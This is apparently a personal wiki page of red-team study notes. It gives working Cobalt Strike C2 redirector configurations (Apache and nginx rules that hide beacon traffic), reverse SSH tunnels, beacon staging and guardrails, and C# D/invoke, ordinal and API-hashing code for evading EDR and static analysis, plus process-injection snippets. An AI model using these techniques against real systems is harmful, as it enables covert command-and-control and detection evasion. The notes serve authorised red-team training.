Handbook IV - RedTeam

From Wiki Aghanim
Jump to navigationJump to search

Many of these notes are from Rasta Mouse' CRTO 2. A great course that takes you in-depth in setting up C2 infrastructure, lateral movements in network while evading detection and some malware developlment. There are also notes from https://maldevacademy.com which is one of the best courses for malware development out there in my opinion.

There are also some notes from other sources, which I will cite. I will also do my own testing and research.

Some amazing resources for CRTL or red teaming:

What is Red Teaming?

Performing a red team, and performing it correct is difficult. Make sure you have red Fotra's guide to performing a red team. Understand what is needed of you, and what is needed from the client.

Fortra - Red Teaming GuideDownload

Red Team Infrastructure

Red Team R&D

In order to carry out a successfull red team engagement, a red team must spend some time reseaching and developing. Here I will list some of the techniques I've come across regarding r&d.

> Rather than focusing solely on “bypass,” it’s often more effective to blend in with normal activity.

HTTPs traffic to a legitimate looking domain that is categorized will blend in the usual traffic and can evade proxy as well.

Or injecting code into a process, such as msedge, to communicate with your C2.

Talking to other great red teamers, many of them take publicly available pocs and write their own implementations. Developing a completely new methods to evade EDRs can be very time consuming, something that most clients wont pay for. Using already available techniques and tweaking them until they evade detection is a better approach.

A great place to look at techniques and source code is https://www.vx-underground.org/. There are alot of hidden gems there. You can take parts from source codes, for example Conti group implementation of WMI in cryptor.cpp and implement them in your code.

Also reading through https://attack.mitre.org/ can also give you some ideas on TTP's to use in your engagement.

Red Team Do's and Dont's

Red Team Tradecraft and TTP Guidance | Red Team Development and Operations

Do Don't
Log all significant events Use untested tools on a target system
Consult with peers Use unencrypted channels for C2
Understand tools and technology used Attempt to exploit or attack unencrypted websites
Perform situational awareness Execute from non-executable locations
Minimize callback (C2) volume Download restricted datasets
Use binaries for initial access

Resources

Atomic Red Teaming

Atomic Red Team

> This site is designed to help you explore and navigate the Atomic Red Team™ library of tests, as they are mapped to the MITRE ATT&CK® framework and the platforms they support.

Expired Domains

Using expired domains in a red team engagement can help bypass domain reputation filter and avoid detection. Expired domains are less likely to be flagged as suspicious. A newly created domain will probably be picked up by blue team as malicous.

Expired Domains | Daily Updated Domain Lists for 579 TLDs

Signed Tools That's Useful in Red Team

ADExplorer.exe

Everything.exe

SoftPerfect Network Scanner

RTO2 Battle Plan

  • Go thoroughly through the course notes and test out in the lab.
  • Read Matt Hands - Evade EDR book and try out in lab
  • Make initial access payloads that evade EDR (Maldevacademy)
  • Test out different LPE and lateral movement techniques that evades EDR in the lab
  • Buy RTO2 Lab and go through it until comfortable to do the exam
  • Do the exam
  • ???
  • profit

Cobalt Strike

Since Red Team Ops II is using Cobalt Strike as the main CnC framework, and I have not taken Red Team Ops I I have watched Rapahel Mudge Red Team Ops with Cobalt Strike course on youtube. hw_dungeontower2b_h_en_120 (youtube.com)

I highly recommend this course as he will expolain Cobalt Strike in detail, also setting up a C2 infrastructure, distributed operations, evasion and much more. Basically he takes it through an entire red team engagement.

C2 Infrastructure

Below is a high-level diagram of a secure C2 infrastructure.

Made by https://twitter.com/malcomvetter

Traffic between Victim network and Redirector should be encrypted HTTPS traffic only. On the attack network (Simulated Adversary) only SSH tunnel should be allowed to redirector. No inbound access from the internet to attack network should be allowed. HTTPS from attacker should be allowed to test web server.

Apache as Redirector

Install apache as per your requirements.

sudo apt install apache2
sudo a2enmod ssl rewrite proxy proxy_http
# Use default SSL Config
sudo ln -s ../sites-available/default-ssl.conf ../sites-enabled/default-ssl.conf
sudo systemctl restart apache2

Generate an SSL certificate using a legitimate Certificate Authority(CA) like Let's Encrypt, VeriSign, GlobalSign or DigiCert, etc. Edit the config file to include the generated SSL certificate.

# Replace with generated cert
SSLCertificateFile     /etc/ssl/certs/ssl-cert-snakeoil.pem
SSLCertificateKeyFile  /etc/ssl/private/ssl-cert-snakeoil.key

root# sudo systemctl restart apache2

Enabling Apache redirector

Enable .htaccess to configure apache to proxy traffic to Cobalt Strike. To enable .htaccess edit /etc/apache2/sites-enabled/default-ssl.conf. Underneath <VirtualHost> add a new <Directory>.

> You can also add conditions and rewrite rules directly in the configuration. Rules in configuration apply to entire server or specific virtual host, while rules applied in .htaccess only apply to the directory where the file is located and the subdirectories.

    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Require all granted

Add SSLProxyEngine on underneath SSLEngine on. Restart apache after. In /var/www/html create a new .htaccess file. Add these lines

RewriteEngine on
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]

The [P] stands for proxy. The RewriteRule will proxy everything to our TeamServer. For example curl https:// domain.com/test. From an opsec point of view this is not ideal and we will have to add some conditions in order to redirect unwanted traffic elsewhere. For that we will use RewriteCond.

Rewrite Conditions RewriteCond can be combined with RewriteRule. The syntax is TestString Condition [Flags]. htaccess have multiple flags that can be used.

  • [L] - Last.  Tells mod_rewrite to stop processing further rules.
  • [NE] - No Escape.  Don't encode special characters (e.g. & and ?) to their hex values.
  • [R] - Redirect.  Send a redirect code in response.
  • [S] - Skip.  Skip the next N number of rules.
  • [T] - Type.  Sets the MIME type of the response.
  • [PT] - Pass Through. Pass rewritten URL to next handler.
  • [NC] - No Case. Not casesensitive.

mod_rewrite documentation have a full details. https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html

Apache Rules

Taken from here.

The below rules assumes the following;

  • data is sent via a cookie instead of in URL
  • if a file exists on the redirector (in /var/www/html) it should always be returned
  • abc, and d are files hosted on Cobalt Strike that should be accessible

In order to get get exact parameter of the C2 profile, we can use Cobalt Strikes c2lint. And from there we can craft our rules based on these parameter. This way, only "legitimate" C2 traffic will reach our Teamserver from the redirector.

RewriteEngine on
# check beacon GET
RewriteCond %{REQUEST_METHOD} GET [NC]
RewriteCond %{HTTP_COOKIE} SESSIONID
RewriteCond %{REQUEST_URI} __utm.gif
RewriteCond %{QUERY_STRING} utmac=UA-2202604-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]
# check beacon POST
RewriteCond %{REQUEST_METHOD} POST [NC]
RewriteCond %{REQUEST_URI} ___utm.gif
RewriteCond %{QUERY_STRING} utmac=UA-220(.*)-2&utmcn=1&utmcs=ISO-8859-1&utmsr=1280x1024&utmsc=32-bit&utmul=en-US
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]
# if a,b,c,d and using wget or curl, change file to diversion
RewriteCond %{HTTP_USER_AGENT} curl|wget [NC]
RewriteRule ^a|b|c|d$ diversion [PT]
# if file exists on redirector, show that file
RewriteCond /var/www/html/%{REQUEST_URI} -f
RewriteRule ^.*$ %{REQUEST_FILENAME} [L]
# if a,b,c,d and NOT using wget or curl, redirect to CS web server
RewriteCond %{REQUEST_METHOD} GET [NC]
RewriteCond %{REQUEST_URI} a|b|c|d
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P,L]
  • The first rule checks if a GET request is made with a specific cookie and URL pattern (__utm.gif). If these conditions are met, the request is forwarded to https://localhost:8443 with the same URI.
  • The second rule does something similar for POST requests, but it checks for a different URL pattern (___utm.gif). If matched, the request is also forwarded to https://localhost:8443.
  • The third rule checks if the User-Agent is curl or wget and if the request URI matches a, b, c, or d. If so, it changes the URI to diversion and passes it to other rules.
  • The fourth rule checks if the requested file exists on the server. If it does, the server serves that file directly.
  • The fifth rule handles GET requests for a, b, c, or d when the User-Agent is not curl or wget. These requests are redirected to https://localhost:8443.

NGINX as Redirector

Nginx can also be used as a redirector, same as apache.

Below is a configuration file similar to one used above in apache.

server {
    listen 443 ssl;
    server_name yourdomain.com;
    ssl_certificate     /etc/ssl/certs/your-certificate.pem;
    ssl_certificate_key /etc/ssl/private/your-private-key.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;
    ssl_ciphers         HIGH:!aNULL:!MD5;
    # Check for beacon GET request with specific cookie and query string
    location / {
        if ($request_method = GET) {
            if ($http_cookie ~* "SESSIONID") {
                if ($request_uri ~* "__utm.gif") {
                    if ($query_string ~* "utmac=UA-2202604-2&utmcn=1") {
                        proxy_pass https://localhost:8443;
                        proxy_set_header Host $host;
                        proxy_set_header X-Real-IP $remote_addr;
                        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                        proxy_set_header X-Forwarded-Proto $scheme;
                        break;
                    }
                }
            }
        }
        # Check for beacon POST request with specific URI and query string
        if ($request_method = POST) {
            if ($request_uri ~* "___utm.gif") {
                if ($query_string ~* "utmac=UA-220(.*)-2&utmcn=1") {
                    proxy_pass https://localhost:8443;
                    proxy_set_header Host $host;
                    proxy_set_header X-Real-IP $remote_addr;
                    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                    proxy_set_header X-Forwarded-Proto $scheme;
                    break;
                }
            }
        }
        # If wget or curl is used and request URI is a, b, c, or d, serve diversion
        if ($http_user_agent ~* "curl|wget") {
            if ($request_uri ~* "(a|b|c|d)") {
                rewrite ^ /diversion break;
            }
        }
        # Serve file if it exists on the redirector
        try_files $uri $uri/ =404;
        # Redirect a, b, c, d to C2 server if User-Agent is not curl or wget
        if ($request_method = GET) {
            if ($request_uri ~* "(a|b|c|d)") {
                proxy_pass https://localhost:8443;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header X-Forwarded-Proto $scheme;
                break;
            }
        }
    }
}

Generate an SSL certificate using the above mentioned legitimate Certificate Authority(CA) and change line 5 and 6 to match the generated certificate. Restart nginx after systemctl restart nginx and verify that the config is correct using nginx -t.

Automatically generate ruleset

I've discovered a really great tool that will convert a Cobalt Strike profile to a functional mod_rewrite .htaccess or nginx config.

GitHub - threatexpress/cs2modrewrite: Convert Cobalt Strike profiles to modrewrite scripts

Socat as redirector

You can use socat to spin up a redirector using one command.

sudo socat TCP4-LISTEN:443,fork TCP:localhost:8443

This works fine until you introduce proxies, SSL certificates and other more advanced techniques.

Dealing with proxies

Many organizations have proxies that will filter out traffic they deem malicous or undesirable. Organizations can also use DNS to block traffic from malicous websites, such as Cisco Umbrella. In order to circumvent these defences we need a valid SSL certificate and a C2 domain that is categorized.

In order to get a domain categorized we need to host content on the site that fits the categorization we are going for. One example is how Stuxnet used two domains used as soccer fans site to phone home.

Setting up SSH Tunnel

Establish a reverse SSH tunnel from TeamServer to Redirector.

ssh -N -R 8443:localhost:443 attacker@10.10.0.100
  • -N stops the session from dropping in to a shell.
  • -R is remote-port:host:host-port.  This will bind port 8443 on the target (Redirector 1) and any traffic hitting that port will be redirected to 127.0.0.1:443 on the team server.

Other tools to use is, but not limited to;

  • Sshuttle sshuttle -r username@address subnet
  • Autossh autossh -M 0 -N -f -R 8443:localhost:443 attacker@10.10.0.100

-M 0: Disables the monitoring port

  • -N: Prevents executing remote commands; just sets up the tunnel.
  • -f: tells autossh to run in the background.
  • -R 8443:localhost:443: Specifies the remote port forwarding, binding port 8443 on the remote server (Redirector 1) to localhost:443 on the local machine (TeamServer).

Verify that the tunnel is setup correct.

sudo ss -ltnp

You can also curl from Redirector to verify that you hit Cobalt Strike.

curl -v https://localhost:8443/r1

Beacon Certificate

Cobalt strikes beacon will use its own self-signed certificate by default. Since our Teamserver is not be accessible from the internet, we cannot use a public domain. We will generate our own self-signed certificate instead.

openssl req -x509 -nodes -newkey rsa:2048 -keyout localhost.key -out localhost.crt -sha256 -days 365 -subj '/CN=localhost'
openssl pkcs12 -inkey localhost.key -in localhost.crt -export -out localhost.pfx
keytool -importkeystore -srckeystore localhost.pfx -srcstoretype pkcs12 -destkeystore localhost.store

Place the .store file in the Cobalt Strike directory and in the malleable profile add these lines.

https-certificate {
     set keystore "localhost.store";
     set password "pass123";
}

Now we can launch the teamserver with the updated profile.

 sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile

To verify the certificate on the listener we can use curl.

curl -v -k https://10.10.5.50

Beacon Staging

Avoid using staged payloads as this is considred bad opsec. The reason for this is that it increases network exposure and web logs can reveal the stager. Since staging is unauthenticated it can be made from anyone.

Let's try this out ourself. First we generate a listener and a stager payload and detonate it on a victim machine. We are using wireshark to look at the traffic between the attacker and the victim.

Those 4 random characters determins if the payload is x86 or x64 bit but doing some mathematical equations.

  • Converts each character into its integer representation.
  • Calculates the sum of those integers.
  • Divides that sum by 256 and checks the remainder.

If the remainder equals 92, it's an x86 request.

  • If the remainder equals 93, it's an x64 request.

We can now request the shellcode using curl.

And now we can use a Beacon Parser like the one made by Sentinel One and extract all the information about the beacon.

python3 parse_beacon_config.py /mnt/c/Payloads/shellcode.bin
BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 60000
MaxGetSize                       - 1048616
Jitter                           - 0
MaxDNS                           - Not Found
PublicKey_MD5                    - a3b7d2c9e5f4a1bc8d6e29f3c1b4a7e2
C2Server                         - 10.2.99.1,/__utm.gif
UserAgent                        - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; msn OptimizedIE8;ENUS)
HttpPostUri                      - /___utm.gif

Payload Guardrails

Guardrails prevents payload to fully execute outside of predefined scope. If an AV sandbox try to execute your payload, it will fail and thus prevent it from analyzing the behaviour of your payload. This has also legal concerns as executing payload outside of agreed upon scope is a very big no-no.

The available options are:

  • IP Address

Internal IP address(es)

  • Supports wildcards on the rightmost segments, e.g. 10.10.120.* or 10.10.*.*
  • User Name

Case sensitive username

  • Supports wildcards on the left or right, e.g. svc_* or *adm
  • Server Name

Case sensitive computer name

  • Supports wildcard on the left or right
  • Domain

Case sensitive domain name

  • Supports wildcard on the left or right, e.g. acme.* or *.acme.corp

External C2

External C2 allows third-party programs to act as communication channel between Cobalt Strike and its beacon. More information can be read here.

Basically what this means that the operator can use whatever protocol to communicate between the teamserver and the beacon as long as egress traffic is allowed. That can be for example using Discord, Office 365, Google drive, Dropbox. The only condition is that the two components can transfer data between each other.

Using External C2 can be stealthy as you design your own communication channels.

This image from @riccymaster illustrate it very nicely.

Medium

Redirectors can be layerd on top for added OPSEC. As a matter of fact, it is recommended!

To use External C2, we first need to setup a listener.

This will bind it to port 2222.

Onthis website, Cobalt Strike team have made a External C2 example using named pipe. The code provided creates a named pipe that handles communication.

After running the External C2 payload on a victim machine you can see that the payload sends the configuration options such as the architecture, the pipename that will be used and the block size.

And we can interact with the beacon using the CS client.

Setting everything in motion

Now that we have covered these topics I will setup a C2 redirector in a vps in digital ocean with apache and rewrite rules. I will create a payload in Cobalt Strike that I will execute on a victim machine. Defence evasion is not a priority in this task.

Setting up a VPS and website

I've opted to use digital ocean to setup my vps. I've used their cheapest option, which is 4 dollar per month. But for a couple of hours this wont cost anything. Just remeber to destroy the droplet to not incur a fee.

Now its time to setup apache, as we explained above, and we have our vps ready.

Apache confige file:

root@ubuntu-s-1vcpu-512mb-10gb-fra1-01:/var/www/html# cat /etc/apache2/sites-enabled/default-ssl.conf
        ServerAdmin webmaster@localhost
        ServerName flowers.labratxyz.eu
        DocumentRoot /var/www/html

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined

        #   SSL Engine Switch:
        #   Enable/Disable SSL for this virtual host.
        SSLEngine on
        SSLProxyEngine on
        SSLCertificateFile      /etc/letsencrypt/live/flowers.labratxyz.eu/fullchain.pem
        SSLCertificateKeyFile   /etc/letsencrypt/live/flowers.labratxyz.eu/privkey.pem

                SSLOptions +StdEnvVars

                SSLOptions +StdEnvVars

    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Require all granted

Now we need a domain and a valid SSL cert. I have a domain which I will use and I'll use Let's Encrypt to get a valid SSL cert. I will call the website flowers.labratxyz.eu and create a static website about flowers which users will be redirected to if they dont match my conditions.

I've just asked ChatGPT to create a small website about flowers. The result is good enough.

Setting up ssh tunnel

Now that the website is up and running with a valid SSL cert, lets work on the rewrite rules. First we create an SSH tunnel from our teamserver to the redirector.

ssh -N -R 8443:localhost:443 attacker@10.10.0.100

Configure apache

We will now configure .htaccess rewrite rules.

root@ubuntu-s-1vcpu-512mb-10gb-fra1-01:/var/www/html# cat .htaccess
RewriteEngine On
# if file exists on redirector, show that file
RewriteCond /var/www/html/%{REQUEST_URI} -f
RewriteRule ^.*$ %{REQUEST_FILENAME} [L]
# if the request method is GET or POST, redirect to the CS web server
RewriteCond %{REQUEST_METHOD} ^(GET|POST)$ [NC]
RewriteRule ^.*$ https://localhost:8443%{REQUEST_URI} [P]

This rule will check if the file exists, it will show that file. So if anyone visits my website, it will open the website and stop further process. However, if no file exists and the request is GET or a POST it will proxy to CS. Its not an ideal rule, but for now it will work.

Beacon certificate

Now lets generate a self-signed certificate for the Cobalt strike beacon. Scroll up to see how to generate a certificate and add it to our profile.

Getting a beacon

We will now attempt to get a beacon to our Cobalt strike. We will first setup a listener.

For testing purpose we'll generate a stager beacon and transfer it to target. Set the correct listener.

On our victim machine we want to make sure that our TeamServer IP will not be disclosed. We will start WireShark and look at the traffic. We will also look at the access logs on apache to see what is happening.

We can now look at the traffic in wireshark and see if there are any indication as to what our TeamServers IP is.

Look's good for now!

Let's look at the access logs on the redirector.

We can see that legitimate traffic is not proxyed. 46.15.123.159 is my phone. When visting the url I can browse the website and not suspect a thing. While beacon traffic is redirected to CS.

Windows API

We are not going too deep into Windows API as this is another huge topic. What we can say is that Windows API or WinAPI or Win32 APIs are used for different actions for offensive operaitons such as host enumeraiton, process creation, process injection or token manipulation. The most used WinAPI's are the base service kernel32.dll and the advance service advapi32.dll. I recommend diving deeper into this. Maldev Academy is a great source.

Windows API are readily accessible in C and C++ since they exposed all the necessary data strucutre . They can also be called from other languages such as C# by using P/invoke.

There are also API's called Native API's. Most of the native API's are implemented in ntoskrnl.exe (The kernal image) and exposed to user mode via ntdll.dll. These API's are not designed to be called from user applications, and are therefor not accessible like the WinAPI's. The higher level WinAPI's will call Native API's in the background. An example is that OpenProcess in kernel32.dll calls NtOpenProcess in ntdll.dll.

P/invoke

P/invoke allowes managed code such as C# in the .NET framework to call unamanged functions that are exposed by DLL. Such as those in Win32 API's or custom DLL's written in C or C++.

Managed code such as C# runs on CLR (Common Language Runtime). CLR handles everything from garbage collection, type safety, security and cross-language interoperability.

While unmanaged code such as C and C++ runs directly on the operating system. The code have direct control over system resources such as memory. There are no automatic memory management (Garbage collection) or type safety. Thats why the White House warned against using C or C++. Since they are not "memory safe programming language".

C# already utilies P/invoke. However you have little control over the parameteres such as the Start method in System.Diagnostic.Process wher P/invoke calls the CreateProcess API. We cannot for example customise the data being passed to STARTUPIFNO struct. There are also other Windows API that are not exposed in .NET such as VirtualAllocEx, WriteProcessMemory, CreateRemoteThread and the only way to access them is to P/invoke them manually in the code.

So to summarize: Managed code is executed and managed by a runtime (ex: CLR in .NET), which takes care of memory and security. Unmanaged code runs directly on the operating system and interacts with system resources, with the developer responsible for managing memory and handling errors.

NT API's

Most of the Native API's are undocumented, but because of a court order back in the days, Microsoft was forced to disclose some of the NT API's. Microsoft made winternlpublic, which defines som internal NT API's and data structure.

If you try to compile code with for example NtQueryInformationProcess it might fail with the error LNK2019: unresolved external symbol because Windows SDK does not provide an import library for NTDLL. To handle this Microsoft tells us to define the function definition as typdef.

However, if you have Windows Driver Kit (WDK) installed you can just add #pragma comment(lib, "ntdll) since ntdll import library comes with it.

Ordinals

An ordinal is a unique number assigned to a function or resource in a DLL (Dynamic Link Library) that can be used to reference it, instead of using the function's name. Using ordinals can make function calls more obscure because it hides the actual function name, making it harder to analyze the code.

We have created a code in C# that just creates a process 'notepad.exe' using CreateProcessW.

Above is the P/invoke signature for CreateProcessW.

We will use PEStudio Winitor to analyze the binary. PEStudio analyzes binaries (EXE, DLLS etc) without actually running them.

In the import table we can see that CreateProcessW is flagged as P/invoke type. In order to hide the fact that we are using CreateProcessW we can instead reference an exported function via ordinals.

In order to find the ordinal number for CreateProcessW we load Kernel32.dll into PE-Bear. We can find the ordinal number under "Exports" tab and search for CreateProcessW.

Using a calculator we can convert F7, which is a hex value, to decimal. We can see that the value is 231 in decimal numbers.

Now back to the exported function, we define an entrypoint now instead of using CreateProcessW directly in the DLLImport. And we can also give the function a random name.

Back to PEStudio we can load our newly built binary and look at the import tab.

A good analyst will spot this and know this is not legitimate. We can instead use an API that is actually exported from kernel32.dll. This will work because the entrypoint takes priority over the function name.

D/invoke

D/invoke, in contrary to P/Invoke, will dynamically call a function at runtime instead of statically linking it to our code. So instead of our code directly point to a specific function in a specific library, we can instead use D/invoke and tell it "Hey, call CreateProcessW for me". Its like having an assistant who can find the right "phone number" and make the call, without you having the phone number saved beforehand.

This helps evade detection since the calls to functions are dynamic it's hard for security tools to predict or block them.

To use D/invoke, in your projectin Visual Studio go to Project > Add Reference > Browse and add a reference to DInvoke.Data.Dll and DInvoke.DynamicInvoke.dll. You can get the DLL's from here. GitHub - rasta-mouse/DInvoke: Dynamically invoke arbitrary unmanaged code from managed code without P/Invoke.

In the above image I have loaded to binaries, one using P/invoke, while the others is using D/invoke. The first loaded binary is using P/invoke and you can see where its marked in red that it is importing CreateProcessW function, while in the D/invoke its not. So with static analysis you cannot see that we are using CreateProcessW while using D/invoke. It will however show up at runtime as you can see in the image below.

Dinvoke however helps evade API hooks. You can use API Monitor and the code from GitHub - TheWover. In example 2 he uses pinvoke first to call OpenProcess, and then several other ways using dinvoke. Using API Monitor you can hook kernel32.dll!OpenProcess and monitor if it catches the call. He have also made a video showcasing it. SharpSploit: Bypassing API Hooks via DInvoke and Manual Mapping on Vimeo.

The code used for CreateProcess:

// Program.cs
using DInvoke.DynamicInvoke;
using System;
using System.Runtime.InteropServices;
using static Win32;
namespace CreaterProcessCsharp
{
    internal class Program
    {

        static void Main(string[] args)
        {
            // Initialize the STARTUPINFO structure
            STARTUPINFO startupInfo = new STARTUPINFO();
            startupInfo.cb = Marshal.SizeOf(typeof(STARTUPINFO));
            // Prepare the parameters array
            object[] parameters =
            {
                null, "notepad.exe", IntPtr.Zero, IntPtr.Zero, false, (uint)0,
                IntPtr.Zero, null, startupInfo, new PROCESS_INFORMATION()
            };
            Console.WriteLine("Press  call API");
            ConsoleKeyInfo key = Console.ReadKey();
            // Invoke the CreateProcessW function dynamically
            var success = Generic.DynamicApiInvoke(
                "kernel32.dll",
                "CreateProcessW",
                typeof(CreateProcessWDelegate),
                ref parameters);
            // Check if the process was created successfully
            if (success)
            {
                PROCESS_INFORMATION processInfo = (PROCESS_INFORMATION)parameters[9];
                Console.WriteLine($"Process created successfully. PID: {processInfo.dwProcessId}");
            }
            else
            {
                Console.WriteLine("Failed to create process.");
            }
            Console.WriteLine("Press  call quit...");
            ConsoleKeyInfo key1 = Console.ReadKey();
        }
    }
}

// Win32.cs - Create a new class
using System.Runtime.InteropServices;
using System;
internal static class Win32
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode, SetLastError = true)]
    public delegate bool CreateProcessWDelegate(
           string applicationName,
           string commandLine,
           IntPtr processAttributes,
           IntPtr threadAttributes,
           bool inheritHandles,
           CREATION_FLAGS creationFlags,
           IntPtr environment,
           string currentDirectory,
           ref STARTUPINFO startupInfo,
           out PROCESS_INFORMATION processInfo
        );
    [DllImport("kernel32.dll")]
    public static extern bool CloseHandle(IntPtr hObject);
    [Flags]
    public enum CREATION_FLAGS : uint
    {
        DEBUG_PROCESS = 0x00000001,
        DEBUG_ONLY_THIS_PROCESS = 0x00000002,
        CREATE_SUSPENDED = 0x00000004,
        DETACHED_PROCESS = 0x00000008,
        CREATE_NEW_CONSOLE = 0x00000010,
        NORMAL_PRIORITY_CLASS = 0x00000020,
        IDLE_PRIORITY_CLASS = 0x00000040,
        HIGH_PRIORITY_CLASS = 0x00000080,
        REALTIME_PRIORITY_CLASS = 0x00000100,
        CREATE_NEW_PROCESS_GROUP = 0x00000200,
        CREATE_UNICODE_ENVIRONMENT = 0x00000400,
        CREATE_SEPARATE_WOW_VDM = 0x00000800,
        CREATE_SHARED_WOW_VDM = 0x00001000,
        CREATE_FORCEDOS = 0x00002000,
        BELOW_NORMAL_PRIORITY_CLASS = 0x00004000,
        ABOVE_NORMAL_PRIORITY_CLASS = 0x00008000,
        INHERIT_PARENT_AFFINITY = 0x00010000,
        INHERIT_CALLER_PRIORITY = 0x00020000,
        CREATE_PROTECTED_PROCESS = 0x00040000,
        EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
        PROCESS_MODE_BACKGROUND_BEGIN = 0x00100000,
        PROCESS_MODE_BACKGROUND_END = 0x00200000,
        CREATE_SECURE_PROCESS = 0x00400000,
        CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
        CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
        CREATE_DEFAULT_ERROR_MODE = 0x04000000,
        CREATE_NO_WINDOW = 0x08000000,
        PROFILE_USER = 0x10000000,
        PROFILE_KERNEL = 0x20000000,
        PROFILE_SERVER = 0x40000000,
        CREATE_IGNORE_SYSTEM_DEFAULT = 0x80000000,
    }
    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public int cb;
        public IntPtr lpReserved;
        public IntPtr lpDesktop;
        public IntPtr lpTitle;
        public int dwX;
        public int dwY;
        public int dwXSize;
        public int dwYSize;
        public int dwXCountChars;
        public int dwYCountChars;
        public int dwFillAttribute;
        public int dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }
}

Ordinal

D/invoke also supports calling from ordinal number, the same as P/invoke.

var hLibrary = Generic.GetLibraryAddress("kernel32.dll", 233);
var success = (bool)Generic.DynamicFunctionInvoke(
    hLibrary,
    typeof(Win32.CreateProcessWDelegate),
    ref parameters);

API Hashing

D/invoke also support the use of hasing. We can use D/invoke inside CSharpREPL. Simply download and compile the repo and run CsharpREPL.exe. Then we need to import Dinvoke.DynamicInvoke.dll.

In the image above we have hashed the kernel32.dll and CreateProcessW with the key 0xff.

In your Csharp code, both GetLoadedModuleAddress and GetExportAddress accept hashed string and the key used. In the CreateProcess code we used, we can replace it with these lines of codes.

var hKernel = Generic.GetLoadedModuleAddress("A87563E82983D2E53C7C17F42338489A", 0xff);
var hCreateProcess = Generic.GetExportAddress(hKernel,"F87E809A2DAB11B2D72B52F219243154", 0xff); // 0xff is the encryption key
// Invoke the CreateProcessW function dynamically
var success = Generic.DynamicFunctionInvoke(
    hCreateProcess,
    typeof(CreateProcessWDelegate),
    ref parameters);

Process Injection

I will expand more on this in the future. For now I recommend using Maldev Academy to learn more about different techniques for process injection and shellcode execution.

Defence Evasion

Cobalt Strike Post-explotation

The post-explotation commands can be divided into 4 different categories:

  • House-keeping: These commands dont task the beacon to do any executable actions. They are used to set configuration option in a beacon. Commands like sleep or jobs.
  • API Only: Commands that are directly built into the beacon payload using Windows API. cp, cd, ls, mod_token, ps.
  • Inline-exectution: These commands are implemented as Beacon Object File (BOF). A BOF is a compiled C program that allows it to execute within a Beacon Process and use internal beacon APIs. Example of commands jump psexec/64/psh and remote-exec psexec/wmi. We will get more into BOFs later in these notes.
  • Fork and run: Used to spawn a temporary process and post-explotation DLL is injected into it. Any output is captured over named pipes. execute-assemblypowerpick and mimikatz.

A full list of commands can be found here. Beacon Command Behavior and OPSEC Considerations (helpsystems.com). In this link there are also OPSEC advices.

Memory Permissions

A Cobalt Strike beacon is based on Stephen Fewer's ReflectiveDLLInjection. A Cobalt strike beacon is implemented as a DLL and a reflective DLL injection is used to load it into memory. Thats why, when you create a Process Injection code, and loading a Cobalt Strike Beacon shellcode, you will see RWX memory regions. When using the Windows API VirtualProctect or VirtualProtectEx with page_execute_readwrite it will also create a RWX memory region. So if you use System Informer, formerly known as Process Hacker, you can see that there are two regions with RWX in memory.

Many defence products will alert on RWX regions in memory within a native process as malicous.

In order to prevent the reflective loader to use RWX and to also unload the reflective loader from memory we can set these two parameters in the mallable C2.

stage {
    set userwx "false";
    set cleanup "true";
}

Withouth the two parameters in the mallable C2 it would look like this.

And with the parameters it would look like this.


Now lets try this out manually using process injection. In Maldev Academy module 29, there is a good explenation of how process injection work with a code we can reuse.

VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtection)

In the code I have changed the parameter flNewProtect in VirtualAllocEx from page_execute_readwrite to page_execute_read. This is done after the payload is written to the allocated memory region.

VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode

The code will attempt to inject Cobalt Strike shellcode to notepad.exe.

If we look at the memory address 0x2069c3f0000 we see that it is RX.

So in summary, if you are writing your own loader like I mentioned above, it eliminate the reason to use set userwx "false"; and set cleanup "true" in the mallable C2 because the codes manual memory management overrides these settings, but not if you use User-Defined Reflective Loader (UDRL).

Beacon Object File (BOF)

BOF's provide an alternative method to execute custom code via Cobalt Strike, or other C&C frameworks such as Havoc. This bypasses the traditional fork&run approach which we will talk more about in the below chapters. BOF's are smaller, simpler to write and easier to load. BOF's are used for post-ex capabilities that allow code execution inside a running beacon.

BOF's are written in C or C++ and are essentially tiny COFF's (Common Object File Format). The beacon will act as a linker and loader.

Module 49, 50 and 51 in Maldev Academy (new) talks about Beacon Object Files.

In order to understand how we can develop our own BOF's, we first need to understand parsing of object files, and to do that we need to understand PE Headers and parsing of PE Headers. So let's have a short recap. This is more of a topic for malware development, but whatever... From Maldev Academy thats Module 8 and Module 50 (main).

First, what does parsing PE Headers mean exactly?

